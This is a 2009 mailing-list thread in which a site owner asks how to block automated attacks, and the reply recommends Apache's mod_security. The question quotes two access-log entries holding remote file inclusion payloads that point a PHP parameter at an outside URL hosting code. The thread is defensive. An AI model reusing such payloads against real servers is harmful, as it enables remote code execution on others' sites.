Software, utility, or script to block automatically these cracker attacks

[Daniel Carrillo]

2009/8/5 Jose R R <jose.r.r at metztli.com>:
> Good day-
>
> Although I go through my logs fairly often and update my scripts on an
> regular basis, I still get cracker attacks like the ones sampled
> below:
>
> 222.122.6.62 - - [04/Aug/2009:08:09:52 -0700] "GET
> /blog/index.php/2008/06/02/os-2-warp-server-for-e-business-wseb-and?blog=4///?_SERVER[DOCUMENT_ROOT]=http://bruntil.com/cgi/id.txt?%0D?
> HTTP/1.1" 400 567 "-" "Mozilla/5.0 (compatible; Konqueror/3.1-rc3;
> i686 Linux; 20020515)"
> 222.122.6.62 - - [04/Aug/2009:08:11:18 -0700] "GET
> /blog/index.php/2008/06/02///?_SERVER[DOCUMENT_ROOT]=http://bruntil.com/cgi/id.txt?%0D?
> HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
> rv:1.7.12) Gecko/20050915 Firefox/1.0.7"
>
> I would appreciate suggestions to block automatically the above.  I am
> already using Fail2ban and some rules in IP tables.  Notwithstanding
> those above manage to get through.
>
> Thanks in advance for any input.

If you are using Apache, the "authoritative" tool is mod_security, a
web application firewall.

With a simple set of rules you can drop this requests.

Hope this helps.